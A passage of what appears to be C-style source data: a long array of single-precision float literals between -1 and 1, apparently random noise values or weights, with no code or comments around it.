-0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, -0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, -0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, -0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 